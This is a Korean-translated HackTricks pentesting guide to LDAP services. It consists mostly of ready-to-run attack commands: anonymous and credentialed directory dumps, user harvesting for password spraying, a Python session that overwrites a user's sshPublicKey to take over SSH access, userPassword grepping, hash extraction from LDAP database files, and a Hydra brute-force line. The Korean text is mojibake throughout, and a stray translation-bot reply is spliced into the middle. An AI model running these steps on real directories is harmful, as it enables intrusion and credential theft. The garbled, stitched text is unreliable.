389, 636, 3268, 3269 - Pentesting LDAP
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
LDAP ๋๋ ํฐ๋ฆฌ๋ ์ฌ๋ฌ ์๋ฒ์ ๋ถ์ฐ๋ ์ ์๋๋ก ๊ตฌ์กฐํ๋์ด ์์ผ๋ฉฐ, ๊ฐ ์๋ฒ๋ Directory System Agent (DSA)๋ผ๊ณ ๋ถ๋ฆฌ๋ ๋๋ ํฐ๋ฆฌ์ ๋ณต์ ๋๊ณ ๋๊ธฐํ๋ ๋ฒ์ ์ ๋ณด๊ดํฉ๋๋ค. ์์ฒญ ์ฒ๋ฆฌ ์ฑ ์์ ์ ์ ์ผ๋ก LDAP ์๋ฒ์ ์์ผ๋ฉฐ, ํ์์ ๋ฐ๋ผ ๋ค๋ฅธ DSA์ ํต์ ํ์ฌ ์์ฒญ์์๊ฒ ํตํฉ๋ ์๋ต์ ์ ๊ณตํฉ๋๋ค.
LDAP ๋๋ ํฐ๋ฆฌ์ ๊ตฌ์ฑ์ ์ต์๋จ์ ๋ฃจํธ ๋๋ ํฐ๋ฆฌ์์ ์์ํ๋ ํธ๋ฆฌ ๊ณ์ธต ๊ตฌ์กฐ์ ์ ์ฌํฉ๋๋ค. ์ด๋ ๊ตญ๊ฐ ๋จ์๋ก ๋ถ๊ธฐ๋๊ณ , ๋ค์ ์กฐ์ง์ผ๋ก ๋๋๋ฉฐ, ์ฌ๋ฌ ๋ถ์๋ ๊ทธ๋ฃน์ ๋ํ๋ด๋ ์กฐ์ง ๊ตฌ์ฑ ๋จ์(organizational units)๋ฅผ ๊ฑฐ์ณ ์ฌ๋๊ณผ ํ์ผยทํ๋ฆฐํฐ ๊ฐ์ ๊ณต์ ๋ฆฌ์์ค๋ฅผ ํฌํจํ ๊ฐ๋ณ ์ํฐํฐ ์์ค์ ์ด๋ฆ ๋๋ค.
๊ธฐ๋ณธ ํฌํธ: 389 ๋ฐ 636(ldaps). Global Catalog (LDAP in ActiveDirectory)๋ ๊ธฐ๋ณธ์ ์ผ๋ก ํฌํธ 3268์์ ์ฌ์ฉ ๊ฐ๋ฅํ๋ฉฐ LDAPS์ ๊ฒฝ์ฐ ํฌํธ 3269์์ ์ฌ์ฉ ๊ฐ๋ฅํฉ๋๋ค.
PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
636/tcp open tcpwrapped
LDAP Data Interchange Format
LDIF (LDAP Data Interchange Format)์ ๋๋ ํฐ๋ฆฌ ๋ด์ฉ์ ๋ ์ฝ๋ ์งํฉ์ผ๋ก ์ ์ํฉ๋๋ค. ๋ํ ์ ๋ฐ์ดํธ ์์ฒญ(Add, Modify, Delete, Rename)์ ํํํ ์ ์์ต๋๋ค.
dn: dc=local
dc: local
objectClass: dcObject
dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization
dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev
dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales
dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
- 1-3ํ์ ์ต์์ ๋๋ฉ์ธ local์ ์ ์ํฉ๋๋ค
- 5-8ํ์ 1์ฐจ ๋๋ฉ์ธ moneycorp (moneycorp.local)์ ์ ์ํฉ๋๋ค
- 10-16ํ์ 2๊ฐ์ ์กฐ์ง ๋จ์(organizational units): dev์ sales๋ฅผ ์ ์ํฉ๋๋ค
- 18-26ํ์ ๋๋ฉ์ธ ๊ฐ์ฒด๋ฅผ ์์ฑํ๊ณ ์์ฑ์ ๊ฐ์ ํ ๋นํฉ๋๋ค
๋ฐ์ดํฐ ์ฐ๊ธฐ
๊ฐ์ ์์ ํ ์ ์๋ค๋ฉด ์ ๋ง ํฅ๋ฏธ๋ก์ด ์์ ์ ์ํํ ์ ์๋ค๋ ์ ์ ์ ์ํ์ธ์. ์๋ฅผ ๋ค์ด, ์์ ์ ์ฌ์ฉ์๋ ๋ค๋ฅธ ์ฌ์ฉ์์ โsshPublicKeyโ ์ ๋ณด๋ฅผ ๋ณ๊ฒฝํ ์ ์๋ค๊ณ ์์ํด๋ณด์ธ์. ์ด ์์ฑ์ด ์กด์ฌํ๋ค๋ฉด, ssh๊ฐ LDAP์์ ๊ณต๊ฐ ํค๋ฅผ ์ฝ์ด์ค๊ณ ์์ ๊ฐ๋ฅ์ฑ์ด ๋งค์ฐ ๋์ต๋๋ค. ์ฌ์ฉ์์ ๊ณต๊ฐ ํค๋ฅผ ์์ ํ ์ ์๋ค๋ฉด, ssh์์ ๋น๋ฐ๋ฒํธ ์ธ์ฆ์ด ํ์ฑํ๋์ด ์์ง ์๋๋ผ๋ ํด๋น ์ฌ์ฉ์๋ก ๋ก๊ทธ์ธํ ์ ์์ต๋๋ค.
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
Sniff clear text credentials
LDAP๊ฐ SSL ์์ด ์ฌ์ฉ๋๋ ๊ฒฝ์ฐ ๋คํธ์ํฌ์์ sniff credentials in plain textํ ์ ์์ต๋๋ค.
๋ํ, ๋คํธ์ํฌ์์ MITM attack์ between the LDAP server and the client. ์ํํ ์ ์์ต๋๋ค. ์ฌ๊ธฐ์ Downgrade Attack์ ํด์ ํด๋ผ์ด์ธํธ๊ฐ credentials in clear text๋ฅผ ์ฌ์ฉํด ๋ก๊ทธ์ธํ๋๋ก ๋ง๋ค ์ ์์ต๋๋ค.
If SSL is used ๊ฒฝ์ฐ ์์์ ์ธ๊ธํ ๊ฒ์ฒ๋ผ MITM์ ์๋ํ๋ false certificate๋ฅผ ์ ์ํ ์ ์์ต๋๋ค. ์ฌ์ฉ์๊ฐ ์ด๋ฅผ ์๋ฝํ๋ฉด ์ธ์ฆ ๋ฐฉ์์ Downgradeํ์ฌ ๋ค์ ์๊ฒฉ ์ฆ๋ช ์ ํ์ธํ ์ ์์ต๋๋ค.
Anonymous Access
Bypass TLS SNI check
According to this writeup just by accessing the LDAP server with an arbitrary domain name (like company.com) he was able to contact the LDAP service and extract information as an anonymous user:
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
LDAP anonymous binds
LDAP anonymous binds allow ์ธ์ฆ๋์ง ์์ ๊ณต๊ฒฉ์๊ฐ ๋๋ฉ์ธ์์ ์ฌ์ฉ์ ์ ์ฒด ๋ชฉ๋ก, ๊ทธ๋ฃน, ์ปดํจํฐ, ์ฌ์ฉ์ ๊ณ์ ์์ฑ ๋ฐ ๋๋ฉ์ธ ์ํธ ์ ์ฑ ๊ณผ ๊ฐ์ ์ ๋ณด๋ฅผ ๊ฒ์ํ ์ ์์ต๋๋ค. ์ด๋ ๋ ๊ฑฐ์ ๊ตฌ์ฑ์ด๋ฉฐ, Windows Server 2003๋ถํฐ๋ LDAP ์์ฒญ์ ์์ํ ์ ์๋ ๊ถํ์ด ์ธ์ฆ๋ ์ฌ์ฉ์์๊ฒ๋ง ํ์ฉ๋ฉ๋๋ค.\ ๊ทธ๋ฌ๋ ๊ด๋ฆฌ์๋ ํน์ ์ ํ๋ฆฌ์ผ์ด์ ์ ๋ํด anonymous binds๋ฅผ ํ์ฉํ๋๋ก ์ค์ ํด์ผ ํ์ ์ ์์ผ๋ฉฐ, ๊ทธ ๊ฒฐ๊ณผ ์๋ํ ๊ฒ๋ณด๋ค ๋ ๋ง์ ์ ๊ทผ ๊ถํ์ ๋ถ์ฌํด ์ธ์ฆ๋์ง ์์ ์ฌ์ฉ์๊ฐ AD์ ๋ชจ๋ ๊ฐ์ฒด์ ์ ๊ทผํ ์ ์๊ฒ ๋ง๋ค์์ ์ ์์ต๋๋ค.
Anonymous LDAP enumeration with NetExec (null bind)
If null/anonymous bind is allowed, you can pull users, groups, and attributes directly via NetExecโs LDAP module without creds. ์ ์ฉํ ํํฐ:
- (objectClass=*) to inventory objects under a base DN
- (sAMAccountName=*) to harvest user principals
Examples:
# Enumerate objects from the root DSE (base DN autodetected)
netexec ldap <DC_FQDN> -u '' -p '' --query "(objectClass=*)" ""
# Dump users with key attributes for spraying and targeting
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" ""
# Extract just the sAMAccountName field into a list
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" "" \
| awk -F': ' '/sAMAccountName:/ {print $2}' | sort -u > users.txt
ํ์ธํ ํญ๋ชฉ:
- sAMAccountName, userPrincipalName
- memberOf์ OU ๋ฐฐ์น โ targeted sprays์ ๋ฒ์๋ฅผ ์ ํ๊ธฐ ์ํด
- pwdLastSet(์๊ฐ์ ํจํด), userAccountControl ํ๋๊ทธ(disabled, smartcard required ๋ฑ)
์ฐธ๊ณ : anonymous bind๊ฐ ํ์ฉ๋์ง ์์ผ๋ฉด ์ผ๋ฐ์ ์ผ๋ก bind๊ฐ ํ์ํ๋ค๋ ๊ฒ์ ๋ํ๋ด๋ Operations error๊ฐ ํ์๋ฉ๋๋ค.
์ ํจํ ์๊ฒฉ ์ฆ๋ช
LDAP server์ ๋ก๊ทธ์ธํ ์ ์๋ ์ ํจํ ์๊ฒฉ ์ฆ๋ช ์ด ์๋ค๋ฉด, Domain Admin์ ๋ํ ๋ชจ๋ ์ ๋ณด๋ฅผ ๋คํํ๊ธฐ ์ํด ๋ค์์ ์ฌ์ฉํ ์ ์์ต๋๋ค:
pip3 install ldapdomaindump
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
Brute Force
Enumeration
์๋ํ
์ด๋ฅผ ์ฌ์ฉํ๋ฉด ๊ณต๊ฐ ์ ๋ณด (์: ๋๋ฉ์ธ ์ด๋ฆ): ์ ๋ณผ ์ ์์ต๋๋ค.
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
Python
python์ผ๋ก LDAP ์ด๊ฑฐ ๋ณด๊ธฐ
๋ค์๊ณผ ๊ฐ์ด python์ ์ฌ์ฉํ์ฌ ์๊ฒฉ ์ฆ๋ช
์ ๋ฌด์ ์๊ด์์ด LDAP์ ์ด๊ฑฐํ ์ ์์ต๋๋ค: pip3 install ldap3
๋จผ์ ์๊ฒฉ ์ฆ๋ช ์์ด ์ฐ๊ฒฐ์ ์๋ํด๋ณด์ธ์:
>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
>>> connection.bind()
True
>>> server.info
์ด์ ์์ ์ฒ๋ผ ์๋ต์ด True์ด๋ฉด LDAP ์๋ฒ์์ ํฅ๋ฏธ๋ก์ด ๋ฐ์ดํฐ(์: naming context ๋๋ domain name)๋ฅผ ๋ค์์์ ์ป์ ์ ์์ต๋๋ค:
>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN
๋ช ๋ช ์ปจํ ์คํธ๋ฅผ ํ๋ณดํ๋ฉด ๋ ํฅ๋ฏธ๋ก์ด ์ฟผ๋ฆฌ๋ฅผ ์คํํ ์ ์์ต๋๋ค. ์ด ๊ฐ๋จํ ์ฟผ๋ฆฌ๋ ๋๋ ํฐ๋ฆฌ์ ๋ชจ๋ ๊ฐ์ฒด๋ฅผ ๋ณด์ฌ์ค๋๋ค:
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries
๋๋ ldap ์ ์ฒด๋ฅผ dump:
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries
windapsearch
Windapsearch ๋ LDAP ์ฟผ๋ฆฌ๋ฅผ ์ด์ฉํด Windows ๋๋ฉ์ธ์์ ์ฌ์ฉ์, ๊ทธ๋ฃน, ์ปดํจํฐ๋ฅผ enumerate ํ๋ ๋ฐ ์ ์ฉํ Python ์คํฌ๋ฆฝํธ์ ๋๋ค.
# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users
ldapsearch
null credentials์ธ์ง ๋๋ credentials๊ฐ ์ ํจํ์ง ํ์ธ:
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839
๋ง์ฝ โbind must be completedโ๋ผ๋ ๋ฉ์์ง๊ฐ ํ์๋๋ฉด ์๊ฒฉ ์ฆ๋ช ์ด ์ฌ๋ฐ๋ฅด์ง ์๋ค๋ ๋ป์ ๋๋ค.
๋ค์์ ์ฌ์ฉํ์ฌ ๋๋ฉ์ธ์์ ๋ชจ๋ ๊ฒ์ ์ถ์ถํ ์ ์์ต๋๋ค:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given
์ถ์ถ users:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
์ถ์ถ ์ปดํจํฐ:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
I donโt have the file content. Please paste the markdown from src/network-services-pentesting/pentesting-ldap.md (or the specific text you want processed) or clarify what you mean by โmy infoโ. Once you provide it, Iโll extract/translate the relevant English text to Korean, preserving all markdown/html, tags, links, code and hacking terms as requested.
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
์ถ์ถ Domain Admins:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
์ถ์ถ Domain Users:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
์ถ์ถ Enterprise Admins:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
์ถ์ถ Administrators:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
์ถ์ถ Remote Desktop Group:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
๋น๋ฐ๋ฒํธ์ ์ ๊ทผํ ์ ์๋์ง ํ์ธํ๋ ค๋ฉด ์ฟผ๋ฆฌ ์ค ํ๋๋ฅผ ์คํํ ๋ค์ grep์ ์ฌ์ฉํ ์ ์์ต๋๋ค:
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
Please, notice that the passwords that you can find here could not be the real onesโฆ
pbis
๋ค์์์ pbis๋ฅผ ๋ค์ด๋ก๋ํ ์ ์์ต๋๋ค: https://github.com/BeyondTrust/pbis-open/ ๋ณดํต /opt/pbis์ ์ค์น๋์ด ์์ต๋๋ค.
Pbis๋ ๊ธฐ๋ณธ ์ ๋ณด๋ฅผ ์ฝ๊ฒ ์ป์ ์ ์๊ฒ ํด์ค๋๋ค:
#Read keytab file
./klist -k /etc/krb5.keytab
#Get known domains info
./get-status
./lsa get-status
#Get basic metrics
./get-metrics
./lsa get-metrics
#Get users
./enum-users
./lsa enum-users
#Get groups
./enum-groups
./lsa enum-groups
#Get all kind of objects
./enum-objects
./lsa enum-objects
#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
echo "$line";
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
echo "======================"
done
๊ทธ๋ํฝ ์ธํฐํ์ด์ค
Apache Directory
Download Apache Directory from here. ์ด ๋๊ตฌ ์ฌ์ฉ ์์๋ ์ฌ๊ธฐ์์ ํ์ธํ ์ ์์ต๋๋ค.
jxplorer
LDAP ์๋ฒ๊ฐ ํฌํจ๋ ๊ทธ๋ํฝ ์ธํฐํ์ด์ค๋ ์ฌ๊ธฐ์์ ๋ค์ด๋ก๋ํ ์ ์์ต๋๋ค: http://www.jxplorer.org/downloads/users.html
๊ธฐ๋ณธ์ ์ผ๋ก ๋ค์ ๊ฒฝ๋ก์ ์ค์น๋ฉ๋๋ค: /opt/jxplorer
.png)
Godap
Godap๋ LDAP์ฉ ๋ํํ ํฐ๋ฏธ๋ ์ฌ์ฉ์ ์ธํฐํ์ด์ค๋ก, AD ๋ฐ ๊ธฐํ LDAP ์๋ฒ์ ๊ฐ์ฒด์ ์์ฑ์ ์กฐ์ํ๋ ๋ฐ ์ฌ์ฉํ ์ ์์ต๋๋ค. Windows, Linux ๋ฐ MacOS์์ ์ฌ์ฉ ๊ฐ๋ฅํ๋ฉฐ simple binds, pass-the-hash, pass-the-ticket & pass-the-cert ๋ฑ์ ์ง์ํฉ๋๋ค. ๋ํ ๊ฐ์ฒด ๊ฒ์/์์ฑ/์์ /์ญ์ , ๊ทธ๋ฃน์ ์ฌ์ฉ์ ์ถ๊ฐ/์ ๊ฑฐ, ๋น๋ฐ๋ฒํธ ๋ณ๊ฒฝ, ๊ฐ์ฒด ๊ถํ ํธ์ง(DACLs), Active-Directory Integrated DNS(ADIDNS) ์์ , JSON ํ์ผ๋ก ๋ด๋ณด๋ด๊ธฐ ๋ฑ ์ฌ๋ฌ ์ ๋ฌธ ๊ธฐ๋ฅ์ ์ ๊ณตํฉ๋๋ค.

๋ค์์์ ํ์ธํ ์ ์์ต๋๋ค: https://github.com/Macmod/godap. ์ฌ์ฉ ์์ ์ ์ค๋ช ์ Wiki๋ฅผ ์ฐธ์กฐํ์ธ์.
Ldapx
Ldapx๋ ๋ค๋ฅธ ๋๊ตฌ์ LDAP ํธ๋ํฝ์ ๊ฒ์ฌํ๊ณ ๋ณํํ๋ ๋ฐ ์ฌ์ฉํ ์ ์๋ ์ ์ฐํ LDAP ํ๋ก์์ ๋๋ค. LDAP ํธ๋ํฝ์ ๋๋ ํํ์ฌ identity protection & LDAP monitoring ๋๊ตฌ๋ฅผ ์ฐํํ๋ ค ์๋ํ๋ ๋ฐ ์ฌ์ฉํ ์ ์์ผ๋ฉฐ, MaLDAPtive ๋ฐํ์์ ์๊ฐ๋ ๋๋ถ๋ถ์ ๋ฐฉ๋ฒ์ ๊ตฌํํฉ๋๋ค.

๋ค์์์ ์ป์ ์ ์์ต๋๋ค: https://github.com/Macmod/ldapx.
Authentication via kerberos
ldapsearch๋ฅผ ์ฌ์ฉํ๋ฉด ํ๋ผ๋ฏธํฐ -Y GSSAPI๋ฅผ ํตํด NTLM ๋์ kerberos๋ก authenticateํ ์ ์์ต๋๋ค.
POST
๋ฐ์ดํฐ๋ฒ ์ด์ค๊ฐ ํฌํจ๋ ํ์ผ(์: /var/lib/ldap)์ ์ ๊ทผํ ์ ์๋ค๋ฉด, ๋ค์์ ์ฌ์ฉํด hashes๋ฅผ ์ถ์ถํ ์ ์์ต๋๋ค:
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
๋น๋ฐ๋ฒํธ ํด์(โ{SSHA}โ๋ถํฐ โstructuralโ๊น์ง โ โstructuralโ์ ๋ง๋ถ์ด์ง ์๊ณ )๋ฅผ john์ ์ ๋ ฅํ ์ ์์ต๋๋ค.
๊ตฌ์ฑ ํ์ผ
- General
- containers.ldif
- ldap.cfg
- ldap.conf
- ldap.xml
- ldap-config.xml
- ldap-realm.xml
- slapd.conf
- IBM SecureWay V3 server
- V3.sas.oc
- Microsoft Active Directory server
- msadClassesAttrs.ldif
- Netscape Directory Server 4
- nsslapd.sas_at.conf
- nsslapd.sas_oc.conf
- OpenLDAP directory server
- slapd.sas_at.conf
- slapd.sas_oc.conf
- Sun ONE Directory Server 5.1
- 75sas.ldif
HackTricks ์๋ ๋ช ๋ น
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ldap.html
Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}
Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x
Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
Entry_7:
Name: Netexec LDAP BloodHound
Command: nxc ldap <IP> -u <USERNAME> -p <PASSWORD> --bloodhound -c All -d <DOMAIN.LOCAL> --dns-server <IP> --dns-tcp
์ฐธ๊ณ ์๋ฃ
- HTB: Baby โ Anonymous LDAP โ Password Spray โ SeBackupPrivilege โ Domain Admin
- NetExec (CME successor)
- Microsoft: Anonymous LDAP operations to Active Directory are disabled
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


